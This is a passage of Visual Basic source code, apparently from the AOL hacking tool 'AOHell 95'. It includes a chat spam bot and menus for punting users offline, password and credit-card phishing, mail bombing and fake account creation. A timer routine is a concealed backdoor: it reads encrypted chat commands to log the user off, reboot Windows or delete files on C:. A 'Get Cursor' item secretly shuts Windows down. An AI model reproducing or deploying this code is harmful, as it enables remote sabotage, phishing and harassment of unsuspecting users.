'While NotQuitit < 20
    'DoEvents

    'Fuckyou2 = Timer
    'If Fuckyou2 - fuckyou > crapola Then
	'DoEvents
       ' crapola = crapola + 1

	'junky = junky - 1
	'Label1.Caption = junky
	'DoEvents
	'If junky = 0 Then
	    'junky = Fuckthat
	'End If
   'End If

   'DoEvents
    label2.Caption = fuckit
    DoEvents
    'Wend

End Sub

Sub Timer1_Timer ()
GoTo BotBeg

BotErr:
MsgBox "An error has occured with the bot.  You can only use the bot if you're in a Member room, or private room."
Exit Sub

BotBeg:
On Error GoTo BotErr

If NotQuitit = 1002 Then
Exit Sub
End If
If REENTER <> 1000 Then
Label6.Caption = "N/A"
GoTo NoTROoM

End If

junk = junk - 1
Label6.Caption = junk

If junk = 0 Then
AppActivate "America  Online"
       thiswin% = FindWindow(0, "America  Online")
       ChatHand = FindChildByClass(thiswin%, "MDIClient")
       RoomButton = VBEnumChildWindows(ChatHand, 3)
VBMsg1.SubClasshWnd = RoomButton
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP

'SendKeys "{tab}"
'SendKeys "{tab}"
'SendKeys " "
shitnat:
    DoEvents
    Call Pause(2)
    SendKeys "{ESC}"
    SendKeys "{ESC}"
    SendKeys "{ESC}"
    DoEvents
    For g1 = 1 To 6
    DoEvents
    Call Pause(1)
    DoEvents
    Next g1

If aolbot.Option3d2.Value = True Then GoTo dodo
If aolbot.Option3d1.Value = True Then GoTo popo

dodo:
' If morebutton = 1 Then SendKeys "{TAB 6}"
' If morebutton = 0 Then SendKeys "{TAB 5}"
    thiswin% = FindWindow(0, "America  Online")
    MemberHand = FindChildByTitle(thiswin%, "Member Rooms")
    MemberButton = FindChildByTitle(MemberHand, "Private Room")
    While MemberButton = 0
    DoEvents
    MemberButton = FindChildByTitle(MemberHand, "Private Room")
    Wend

    VBMsg1.SubClasshWnd = MemberButton
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP

DoEvents

Call Pause(3)

SendKeys THERooM
SendKeys "{ENTER}"
Call Pause(3)
GoTo contin

popo:
 'If morebutton = 1 Then SendKeys "{TAB 5}"
 'If morebutton = 0 Then SendKeys "{TAB 4}"
    thiswin% = FindWindow(0, "America  Online")
    MemberHand = FindChildByTitle(thiswin%, "Member Rooms")
    MemberButton = FindChildByTitle(MemberHand, "Create Room")
    While MemberButton = 0
    DoEvents
    MemberButton = FindChildByTitle(MemberHand, "Create Room")
    Wend

    VBMsg1.SubClasshWnd = MemberButton
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP

DoEvents
Call Pause(3)
DoEvents
SendKeys THERooM
SendKeys "{ENTER}"
Call Pause(3)

contin:

junk = Roomenter
End If

'Sending the Text
NoTROoM:

Shitt = Shitt - 1
Label1.Caption = Shitt

If Shitt = 0 Then
Shitt = FUCKTHAT

If NotQuitit < 20 Then

'Randomizing shit
Randomize
Junks = Rnd * rod
'End of Randomizing
AppActivate "America  Online"
'SendKeys "%{TAB}"

If Junks > 1 And Junks < 2 Then

thiswin% = FindWindow(0, "America  Online")
EditBox = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Tex2
Sendlp = SendMessageByString(EditBox, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
SendButton3 = FindChildByTitle(thiswin%, "Send")
VBMsg1.SubClasshWnd = SendButton3
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents
fuckit = 2

End If

If Junks < 1 Then
thiswin% = FindWindow(0, "America  Online")
EditBox = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Tex1
Sendlp = SendMessageByString(EditBox, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
SendButton3 = FindChildByTitle(thiswin%, "Send")
VBMsg1.SubClasshWnd = SendButton3
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents

fuckit = 1

End If

If Junks > 2 And Junks < 3 Then
thiswin% = FindWindow(0, "America  Online")
EditBox = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Tex3
Sendlp = SendMessageByString(EditBox, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
SendButton3 = FindChildByTitle(thiswin%, "Send")
VBMsg1.SubClasshWnd = SendButton3
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents

fuckit = 3

End If
If Junks > 2.1 And junk < 2.2 Then
DoEvents
DoEvents

End If

If Junks > 3 And Junks < 4 Then
thiswin% = FindWindow(0, "America  Online")
EditBox = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Tex4
Sendlp = SendMessageByString(EditBox, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
SendButton3 = FindChildByTitle(thiswin%, "Send")
VBMsg1.SubClasshWnd = SendButton3
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents

fuckit = 4

End If

If Junks > 4 Then

thiswin% = FindWindow(0, "America  Online")
EditBox = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Tex6
Sendlp = SendMessageByString(EditBox, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
SendButton3 = FindChildByTitle(thiswin%, "Send")
VBMsg1.SubClasshWnd = SendButton3
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents

fuckit = 5

End If

label2.Caption = fuckit

Else
Unload Me

End If

End If 'Shitt

End Sub

Sub CenterForm (f As Form)
f.Left = (Screen.Width - f.Width) / 2
f.Top = (Screen.Height - f.Height) / 2
End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
If Text1.Text = "" Then
MsgBox "Please enter your suggestion or question before you send"
Exit Sub
End If
GoTo SugBeg

SugErr:
 MsgBox "An error has occured while trying to send.", 48, "Suggestion Send Error"
 Exit Sub

SugBeg:
On Error GoTo SugErr
      ret = Chr$(13) + Chr$(10)

AppActivate "America  Online"
DoEvents
SendKeys "%MC"
DoEvents
Call Pause(1)

     thiswin% = FindWindow(0, "America  Online")
     ComposeHand = FindChildByTitle(thiswin%, "Compose")
     SendButton = VBEnumChildWindows(ComposeHand, 2)
     ToField = VBEnumChildWindows(ComposeHand, 10)
     SubField = VBEnumChildWindows(ComposeHand, 14)
     MsgField = VBEnumChildWindows(ComposeHand, 17)
     VBMsg1.SubClasshWnd = SendButton

lint = 8000

lpstring = "password@anon.penet.fi"
ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "Password"
SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "aohell"
MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring)
 DoEvents
 DoEvents
Call Pause(1)
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP
Snap = FindWindow(0, "America Online")
While Snap = 0
DoEvents
Snap = FindWindow(0, "America Online")
DoEvents
Wend
SendKeys "{ENTER}"
DoEvents
Call Pause(1)

DoEvents
SendKeys "%MC"
DoEvents
Call Pause(1)

     thiswin% = FindWindow(0, "America  Online")
     ComposeHand = FindChildByTitle(thiswin%, "Compose")
     SendButton = VBEnumChildWindows(ComposeHand, 2)
     ToField = VBEnumChildWindows(ComposeHand, 10)
     SubField = VBEnumChildWindows(ComposeHand, 14)
     MsgField = VBEnumChildWindows(ComposeHand, 17)
     VBMsg1.SubClasshWnd = SendButton

lpstring = "anon@anon.penet.fi"
ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)
 DoEvents
If Option1.Value = True Then
lpstring = "Suggestion"
Else
lpstring = "Question"
End If
SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring)
 DoEvents
lpstring = "X-Anon-Password: aohell" + ret + "X-Anon-To: an211669" + ret + ret + "Screen Name:    " + ScreenName + ret + ret + Text1.Text + ret + ret + "             *** 95-b5 " + cryptname + "***"

MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring)
 DoEvents
Call Pause(1)
VBMsg1.SendMessage = WM_LBUTTONDOWN
VBMsg1.SendMessage = WM_LBUTTONUP

DoEvents
 Unload Me

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(suggestion.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(suggestion.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Check1_Click ()
ReEnter = 1000
End Sub

Sub Check3D1_Click (Value As Integer)
ReEnter = 1000

End Sub

Sub Command1_Click ()
MsgBox "Do NOT hit the backspace key in the ""Seconds to wait before Re-Entering the room:"" box.  If you do, you will get a Type Mismatch error."

End Sub

Sub Command2_Click ()
If check3d1.Value = True And Text8.Text = "" Then
MsgBox "Please enter in the amount of seconds to pause before reentering the room."
Exit Sub
End If
GoTo begin3

titfuck3:
Exit Sub

begin3:
On Error GoTo titfuck3

 Tex1 = Text1
 TEX2 = Text2
 TEX3 = Text3
 TEX4 = Text4
 TEX6 = Text6
 Fuckthat = Text5

'Randomizing shit
 ROD = 0

If Text8 <> "" Then
Roomenter = Text8
End If

If Text1 <> "" Then
ROD = ROD + 1
End If

If Text2 <> "" Then
ROD = ROD + 1
End If

If Text3 <> "" Then
ROD = ROD + 1
End If

If Text4 <> "" Then
ROD = ROD + 1
End If

If Text6 <> "" Then
ROD = ROD + 1
End If
'end of randomizing shit

'Start of error checking
If Text5 = "" Then
MsgBox "Please enter the amount of seconds you wish to pause the bot for."
Exit Sub
End If
'If Text7 <> "" Or Text8 <> "" And ReEnter < 90 Then
'MsgBox "You must check the Re-Enter box to use the Re-Enter feature."
'Exit Sub
'End If

If option3d1.Value = False And option3d2.Value = False And ReEnter = 1000 Then
MsgBox "You must say whether your room is public or private"
Exit Sub
End If

NotQuitit = 1

sTARTIT = 100
AOLBOT.Hide
status.Timer1.Enabled = True
status.Show

'If check3d1.Value = True Then
'Response = MsgBox("Look at the Member Room list on AOL (wait for cursor to come back), is the more button enabled?", 36, "More button?")
'Possible Response values: 6--YES, 7--NO.
'If Response = 6 Then
'morebutton = 1
MsgBox "You should turn off your IMs by sending an IM to ""$im_off"".  Then close all Windows on AOL except for the chat room window. (before you hit the OK button to this message)"

'ElseIf Response = 7 Then
'morebutton = 0
'MsgBox "OK.  Now you should turn off your IMs by sending an IM to ""$im_off"".  Then close all Windows on AOL except for the chat room window. (before you hit the OK button to this message)"

 'End If
'End If

End Sub

Sub Command3_Click ()
NotQuitit = 1001
Unload Me

End Sub

Sub Command3D1_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Command3D2_Click ()
Call Command3_Click

End Sub

Sub Command3D3_Click ()
Call Command1_Click

End Sub

Sub Command3D4_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

THEROOM = Text7
 If option3d1.Value = True Then Public = 100
 If option3d2.Value = True Then Public = 100
  If check3d1.Value = True Then ReEnter = 1000
Call Command2_Click
End Sub

Sub Command4_Click ()

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(AOLBOT.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

GoTo begin4

titfuck4:
MsgBox "The default bot file was not in the specified PATH.  Hit the options button on the Main menu and enter the correct PATH."
Exit Sub

begin4:
On Error GoTo titfuck4

a11 = "w"
b11 = "a"
c11 = "r"
d11 = "g"
e11 = "a"
f11 = "m"
g11 = "e"
h11 = "z"
i11 = "1"
Rem Formloading = true
Rem Call MnuOPen_click

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "DefBot"
Dab = init1.Value

formloading = False

If Dab = "yes" Then

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "BotSet"
Dab1 = init1.Value

Open Dab1 For Input As #1
 Input #1, phr1, phr2, phr3, phr4, phr5, secon, roomm, roomsec, privat, membe, renter1
 Text1.Text = phr1
 Text2.Text = phr2
 Text3.Text = phr3
 Text4.Text = phr4
 Text6.Text = phr5
 Text5.Text = secon
 Text7.Text = roomm
 If privat = "True" Then
    option3d2.Value = True
 Else
    option3d2.Value = False
 End If
    If membe = "True" Then
        option3d1.Value = True
    Else
        option3d1.Value = False
    End If

 If renter1 = "True" Then
        check3d1.Value = True
 Else
        check3d1.Value = False
 End If

 Text8.Text = roomsec
 Close #1

Else Text8.Enabled = True

End If

End Sub

Sub Form_Paint ()

Text1.SetFocus

End Sub

Sub HScroll1_Change ()
Text5 = hSCROLL1

End Sub

Sub mnuexitbot_Click ()
Unload Me

End Sub

Sub mnuopen_Click ()
GoTo begin1

titfuck1:
Exit Sub

begin1:
 On Error GoTo titfuck1

cmdialog1.Filename = "*.Bot"
If formloading = False Then
cmdialog1.Action = 1
xx$ = cmdialog1.Filename
Else
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "BotSet"
DoEvents
xx$ = init1.Value
End If
Open xx$ For Input As #1
 Input #1, phr1, phr2, phr3, phr4, phr5, secon, roomm, roomsec, privat, membe, renter1
 Text1.Text = phr1
 Text2.Text = phr2
 Text3.Text = phr3
 Text4.Text = phr4
 Text6.Text = phr5
 Text5.Text = secon
 Text7.Text = roomm
 If privat = "True" Then
    option3d2.Value = True
 Else
    option3d2.Value = False
 End If
    If membe = "True" Then
        option3d1.Value = True
    Else
        option3d1.Value = False
      End If

 If renter1 = "True" Then
        check3d1.Value = True
 Else
        check3d1.Value = False
 End If

 Text8.Text = roomsec
 Close #1

End Sub

Sub MnuSaveAs_Click ()
 GoTo begin2

titfuck2:
Exit Sub

begin2:
 On Error GoTo titfuck2

 If option3d1.Value = True Then
 valopt1 = "True"
 Else
 valopt1 = "False"
 End If
 If option3d2.Value = True Then
 valopt2 = "True"
 Else
 valopt2 = "False"
 End If
 If check3d1.Value = True Then
 valcheck1 = "True"
 Else
 valcheck1 = "False"
 End If

 cmdialog1.Action = 2
 Open cmdialog1.Filename For Output As #1
 Write #1, Text1.Text, Text2.Text, Text3.Text, Text4.Text, Text6.Text, Text5.Text, Text7.Text, Text8.Text, valopt2, valopt1, valcheck1
 Close #1

End Sub

Sub Option1_Click ()
Public = 100

End Sub

Sub Option2_Click ()
PrivRoom = 100

End Sub

Sub Option3_Click ()
ReEnter = 1000

End Sub

Sub Text10_Change ()
Roomenter = Text8

End Sub

Sub Text4_Change ()
'Tex4 = text4

End Sub

Sub Text5_Change ()
'hSCROLL1 = Text5

End Sub

Sub Text9_Change ()
THEROOM = Text7

End Sub

Sub Timer1_Timer ()
'status.Show

'Rod = 0
'If NotQuitit < 20 Then

'If sTARTIT = 100 Then
'Randomize
'If Text1 <> "" Then
'Rod = Rod + 1
'End If

''If Text2 <> "" Then
'Rod = Rod + 1
'End If

'If Text3 <> "" Then
'Rod = Rod + 1
'End If

'If text4 <> "" Then
'Rod = Rod + 1
'End If
'
'If Text6 <> "" Then
'Rod = Rod + 1
'End If
'
'
'
'junks = Rnd * Rod
'AppActivate "America  Online"
'
'
'If junks > 1 And junks < 2 Then
'fuckit = 2
'SendKeys Text2 + "{ENTER}"
'
'End If
'If junks < 1 Then
'fuckit = 1
'
'SendKeys Text1 + "{ENTER}"
'
'End If
'If junks > 2 And junks < 3 Then
'fuckit = 3
'
'SendKeys Text3 + "{ENTER}"
'End If
'If junks > 3 Then
'fuckit = 4
'
'SendKeys text4 + "{ENTER}"
 '
'End If
'If junks > 4 Then
'SendKeys Text6 + "{Enter}"
'fuckit = 5
'End If
'
'End If
'Else
'
'status.Hide
'
'MsgBox " Thank You For Using The AOL-BOT By The Rizzer/Chr" + Chr$(13) + "Look For more Features SOON!"
'End
'
'End If
'

End Sub

Sub Command3D1_Click ()
SkipPause = 1

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(wait.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
'Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

End Sub

  Sub Command3D1_Click ()
    AOHell.Show

  End Sub

  Sub Command3D2_Click ()
    SendKeys "{F1}"

  End Sub

  Sub Command3D3_Click ()
    Dim WD1 As String * 128 'win directory, because of DLL's return
    Dim WSD1 As String * 128    'system directory, because of DLL's return
    nWSize% = 128
    nSSize% = 128

    Wdir% = GetWindowsDirectory(WD1$, nWSize%)  'windir
    Sdir% = GetSystemDirectory(WSD1$, nSSize%)  'systemdir
    WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
    WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))

    GoTo bege1

titsluck1:
    AOL% = FindWindow(0, "America  Online")

    ab = GetMenu(AOL%)

    For T = 1 To 10

      d = RemoveMenu(ab, 6, MF_BYPOSITION)
      DoEvents
    Next T
    Call DrawMenuBar(AOL%)
    DoEvents

    End
    Exit Sub

bege1:

    On Error GoTo titsluck1

Begin:

    Response = MsgBox("Are you sure you want to exit AOHell?", 292, "Exit AOHell")
  'Possible Response values: 6--YES, 7--NO.
    If Response = 6 Then

      init1.Filename = "aohell.ini"
      init1.Application = "Options"
      init1.Parameter = "Sounds"

      If init1.Value = "yes" Then

        SoundName$ = WD$ + "\chronic.wav"
        wFlags% = SND_ASYNC And SND_NODEFAULT
        x% = sndPlaySound(SoundName$, wFlags%)

      Else
        AOL% = FindWindow(0, "America  Online")

        ab = GetMenu(AOL%)

        For T = 1 To 10

          d = RemoveMenu(ab, 6, MF_BYPOSITION)
          DoEvents
        Next T
        Call DrawMenuBar(AOL%)
        DoEvents

        End

      End If

      AOL% = FindWindow(0, "America  Online")

      ab = GetMenu(AOL%)

      For T = 1 To 10

        d = RemoveMenu(ab, 6, MF_BYPOSITION)
        DoEvents
      Next T
      Call DrawMenuBar(AOL%)
      DoEvents

      End
    ElseIf Response = 7 Then
      Main.Show
    End If
ending:

  End Sub

  Sub Form_Load ()
    Main.Top = 0
    Main.Width = 965

    Main.MousePointer = 0
    AOL% = FindWindow(0, "America  Online")

    VBMsg2.SubClasshWnd = AOL%

    Dim Success As Integer

    Success% = SetWindowPos%(Main.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    thiswin4 = FindWindow(0, "America  Online")

    GoTo mainbeg

mainerr:
    Exit Sub

mainbeg:
    On Error GoTo Nexy

    thiswin% = FindWindow(0, "America  Online")
    find14% = FindChildByTitle(thiswin%, "Welcome, ")

    lint = 50
    lpstring = Space(50)

    x = SendMessageByString(find14%, WM_GETTEXT, lint, lpstring)    ',lint
    Dim shoe As Variant

  'MsgBox lpstring
    hehe = Trim$(lpstring)
    haha = Mid$(hehe, 10)
    kaka = Len(haha)
    kaka = kaka - 2
    bobo1 = Mid$(haha, 1, kaka)
  '    MsgBox kaka
    ScreenName = bobo1
init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "AddMenu"
Dab40 = init1.Value

If Dab40 = "yes" Then GoTo nexy1 Else Exit Sub

Nexy:
    Resume nexy1
nexy1:

    On Error GoTo mainerr

    AOL% = FindWindow(0, "America  Online")
    ab1 = GetMenu(AOL%)

    For T = 1 To 10
      D1 = RemoveMenu(ab1, 6, MF_BYPOSITION)
      Call DrawMenuBar(AOL%)
      DoEvents
    Next T

    DoEvents
    i = CreateMenu()
    C = AppendMenu(i, 0, 601, "&About AOHell 95")
    C = AppendMenu(i, 0, 645, "&Punt Someone Offline")
    C = AppendMenu(i, 0, 642, "AOL &Guide Software")
    C = AppendMenu(i, 0, 602, "Is it &Chronic?")
    C = AppendMenu(i, 0, 603, "&Bug Report")
    C = AppendMenu(i, 0, 604, "The &Encrypter")
    C = AppendMenu(i, 0, 605, "Elite &Talker")
    C = AppendMenu(i, 0, 606, "&Get Cursor")
    C = AppendMenu(i, 0, 607, "CD &Player")
    C = AppendMenu(i, 0, 608, "Credit &Wizard v1.1")
    C = AppendMenu(i, 0, 628, "&Account Creator v1.0")
    C = AppendMenu(i, 0, 609, "&Quick FTP")
    C = AppendMenu(i, 0, 610, "G&uest Fix")
    C = AppendMenu(i, 0, 611, "Bust &In a Room")
    C = AppendMenu(i, 0, 612, "G&host Tools")
    C = AppendMenu(i, 0, 613, "S&uggestion")
    C = AppendMenu(i, 0, 614, "PW/CC &Fisher")
    C = AppendMenu(i, 0, 615, "AOHell &Options")
    C = AppendMenu(i, 0, 616, "Reset &New User")
    C = AppendMenu(i, 0, 617, "Multi-Task Chat &Room")
    C = AppendMenu(i, 0, 641, "&Internet Relay Chat")
    C = AppendMenu(i, 0, 618, "&Show All Windows")
    C = AppendMenu(i, 0, 627, "E&xit AOHell 95")

    AOL% = FindWindow(0, "America  Online")
    ab = GetMenu(AOL%)
    TheMenu = ab
  ' y = AppendMenu(ab, 0, 600, "-==AOHell==-")
    x = AppendMenu(ab, MF_POPUP, i, "-==&AOHell 95==-")
    Call DrawMenuBar(AOL%)
    DoEvents
    j = CreateMenu()
    d = AppendMenu(j, 0, 620, "The &AI Bot")
    d = AppendMenu(j, 0, 619, "The &Warez Bot")
    d = AppendMenu(j, 0, 621, "The &Scrolling Bot")
    B = AppendMenu(ab, MF_POPUP, j, "&Bots")
    Call DrawMenuBar(AOL%)
    DoEvents
    k = CreateMenu()
    e = AppendMenu(k, 0, 625, "Mail &Bomber")
    e = AppendMenu(k, 0, 626, "Fa&ke Forward")
    e = AppendMenu(k, MF_SEPARATOR, 0, "-")
    e = AppendMenu(k, 0, 622, "&Mass Mailer")
    e = AppendMenu(k, 0, 623, "Mail the &Room")
    e = AppendMenu(k, 0, 624, "&Count Mail")
    e = AppendMenu(k, 0, 646, "&Dupe Killer")
    e = AppendMenu(k, 0, 643, "Make Mail &List")
  ' e = AppendMenu(k, MF_SEPARATOR, 0, "-")
    e = AppendMenu(k, 0, 629, "&Fix Your Mail")
    C = AppendMenu(ab, MF_POPUP, k, "Mail &Utils")
    Call DrawMenuBar(AOL%)
    DoEvents
    l = CreateMenu()
    h = AppendMenu(l, 0, 630, "&IM Manager")
    h = AppendMenu(l, 0, 631, "&IM the &Room")
    h = AppendMenu(l, MF_SEPARATOR, 0, "-")
    h = AppendMenu(l, 0, 632, "Turn IMs &Off")
    h = AppendMenu(l, 0, 633, "Turn IMs O&n")
    d = AppendMenu(ab, MF_POPUP, l, "&IMs")
    Call DrawMenuBar(AOL%)
    DoEvents
    m = CreateMenu()
    o = AppendMenu(m, 0, 634, "&Insult Macros")
    o = AppendMenu(m, 0, 635, "&Drive Hell")
    o = AppendMenu(m, 0, 636, "&Shoot Someone")
    o = AppendMenu(m, 0, 637, "The &Dice Scroller")
    o = AppendMenu(m, 0, 644, "The &Scroller")
    o = AppendMenu(m, MF_SEPARATOR, 0, "-")
    o = AppendMenu(m, 0, 638, "Middle &Finger Macro")
    o = AppendMenu(m, 0, 639, "Flame &Thrower Macro")
    o = AppendMenu(m, 0, 640, "&Be Right Back Macro")
    o = AppendMenu(m, 0, 647, "&Macro Killer Macro")
    Q = AppendMenu(ab, MF_POPUP, m, "A&nnoy Options")
    Call DrawMenuBar(AOL%)
    DoEvents
    MenuThere = 1

  End Sub

  Sub Form_Resize ()
    Dim Success As Integer

    Success% = SetWindowPos%(Main.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Form_Unload (Cancel As Integer)
    AOL% = FindWindow(0, "America  Online")

    ab = GetMenu(AOL%)

    For T = 1 To 5

      d = RemoveMenu(ab, 7, MF_BYPOSITION)
      DoEvents
    Next T

  End Sub

  Sub Timer1_Timer ()
    thiswin% = FindWindow(0, "America  Online")
    ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
    If ForwardHand <> 0 Then Exit Sub

     DoEvents
     GoTo BegTim

timerr:
    Resume NextTim

BegTim:
    On Error GoTo timerr

    thiswin% = FindWindow(0, "America  Online")
    find14% = FindChildByTitle(thiswin%, "Welcome,")
    DoEvents

    lint = 50
    lpstring = Space(50)

    x = SendMessageByString(find14%, WM_GETTEXT, lint, lpstring)    ',lint
    DoEvents

    hehe = Trim$(lpstring)
    hobo = InStr(1, lpstring, ",")
    hobo = hobo + 2
    hobo1 = InStr(1, lpstring, "!")
    hobo1 = hobo1 - 2
    DoEvents
    hobo2 = Mid$(lpstring, hobo, hobo1)
    sux1 = InStr(1, hobo2, "!")
    sux1 = sux1 - 1
    sux2 = Mid$(hobo2, 1, sux1)
  'MsgBox sux2

  '   haha = Mid$(hehe, 10)
  '   kaka = Len(haha)
  '   kaka = kaka - 2
  '    bobo1 = Mid$(haha, 1, kaka)
  '    MsgBox kaka
NextTim:
    DoEvents

  ' bobo2 = InStr(1, bobo1, "!")
  '   If bobo2 > 0 Then
  '     bob1 = Len(bobo1)
  '     bob1 = bob1 - 1
  '     bobo1 = Mid$(bobo1, 1, bob1)
  '   End If
  '   DoEvents
  '
  ' bobo2 = InStr(1, bobo1, "!")
  '   If bobo2 > 0 Then
  '     bob1 = Len(bobo1)
  '     bob1 = bob1 - 1
  '     bobo1 = Mid$(bobo1, 1, bob1)
  '   End If
  '
    ScreenName = sux2

    If ScreenName = "" Then SignStatus = 0 Else SignStatus = 1

  End Sub

  Sub Timer2_Timer ()
    thiswin% = FindWindow(0, "America  Online")
    ForwardHand = FindChildByTitle(thiswin%, "Check this")
    If ForwardHand = 0 Then Exit Sub
      DoEvents

    GoTo Time2Beg1

Time2Err1:
    Exit Sub

Time2Beg1:
    On Error GoTo Time2Err1

    newwin = FindChildByClass(thiswin4, "_AOL_View")
    lint = 15000
    lpstring = Space(15000)
    DoEvents

    If newwin <> 0 Then

      x = SendMessageByString(newwin, WM_GETTEXT, lint, lpstring)   ',lint
      lpstring = Trim$(lpstring)
      IsCommand = InStr(lpstring, "�")
      DoEvents

      If IsCommand > 0 Then
        EndIt = InStr(lpstring, "�")
        EndIt = EndIt - 1
        IsCommand = IsCommand + 1
        DoEvents

        TheCommandIs = Mid$(lpstring, IsCommand, EndIt)
        EndIt = InStr(TheCommandIs, "�")
        EndIt = EndIt - 1

        TheCommandIs = Mid$(TheCommandIs, 1, EndIt)
        DoEvents

        If LastSaid = TheCommandIs Then Exit Sub

        DHehe = 70 - 3
        DHehe = Str(DHehe)
        DHehe = Trim$(DHehe)
        DoEvents

        LastSaid = TheCommandIs
      'TheCommand = UCase$(TheCommand)
        ScreenUpper = ScreenName
        ScreenUpper = ScreenUpper
        ScreenUpper = UCase$(ScreenName)
        ScreenUpper = ScreenUpper + DHehe
        DoEvents

        CommandIs = KTEncrypt(ScreenUpper, TheCommandIs, 0)

        LogOff = InStr(CommandIs, "Log")
        If LogOff > 0 Then
          AppActivate "America  Online"
          SendKeys "%FX"
          DoEvents
          LogOffWin = FindWindow(0, "America Online")
          While LogOffWin = 0
          'DoEvents
            LogOffWin = FindWindow(0, "America Online")
          'DoEvents
          Wend
          DoEvents

          YesButton = FindChildByClass(LogOffWin, "_AOL_Button")
          While YesButton = 0
          'DoEvents
            YesButton = FindChildByClass(LogOffWin, "_AOL_Button")
          'DoEvents
          Wend
          DoEvents

          VBMsg1.SubClasshWnd = YesButton
          VBMsg1.SendMessage = WM_LBUTTONDOWN
          VBMsg1.SendMessage = WM_LBUTTONUP

        End If

        ReBoot = InStr(CommandIs, "Boo")
        If ReBoot > 0 Then
          R = ExitWindows(EW_REBOOTSYSTEM, &H0)

          DoEvents
          LogOffWin = FindWindow(0, "America Online")
          While LogOffWin = 0
          'DoEvents
            LogOffWin = FindWindow(0, "America Online")
          'DoEvents
          Wend

          YesButton = FindChildByClass(LogOffWin, "_AOL_Button")
          While YesButton = 0
          'DoEvents
            YesButton = FindChildByClass(LogOffWin, "_AOL_Button")
          'DoEvents
          Wend

          VBMsg1.SubClasshWnd = YesButton
          VBMsg1.SendMessage = WM_LBUTTONDOWN
          VBMsg1.SendMessage = WM_LBUTTONUP
          DoEvents
          R = ExitWindows(EW_REBOOTSYSTEM, &H0)

        End If

        DeleteIs = InStr(CommandIs, "\")
        If DeleteIs > 0 Then
          Kill "c:" + CommandIs
          DoEvents
        End If

      End If

    End If

  End Sub

  Sub Timer3_Timer ()
    If DidMen = 1 Then
    thiswin% = FindWindow(0, "America  Online")
      DoEvents
       DidMen = 0
        Dim WD1 As String * 128 'win directory, because of DLL's return
        Dim WSD1 As String * 128    'system directory, because of DLL's return
        nWSize% = 128
        nSSize% = 128

        Wdir% = GetWindowsDirectory(WD1$, nWSize%)  'windir
        Sdir% = GetSystemDirectory(WSD1$, nSSize%)  'systemdir
        WD$ = RTrim$(LCase$(Left$(WD1$, Wdir%)))
        WSD$ = RTrim$(LCase$(Left$(WSD1$, Sdir%)))
       DoEvents

      If IsDil = 601 Then Form5.Show
      If IsDil = 602 Then IsChron.Show
      If IsDil = 603 Then Form10.Show
      If IsDil = 604 Then Form13.Show
      If IsDil = 605 Then Elite1.Show
      If IsDil = 606 Then
        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
          Exit Sub
        End If
        x = ExitWindows(&H0, 0)

        DoEvents
        DoEvents
        DoEvents

        SendKeys "n"
      End If

      If IsDil = 607 Then CDPlay.Show
      If IsDil = 608 Then
        GoTo CreditBeg

crediterr:
        MsgBox "CRDTWIZ.EXE not found in the AOH directory!  Cannot load Credit Wizard.", 16, "Cannot Load CW"
        Exit Sub

CreditBeg:
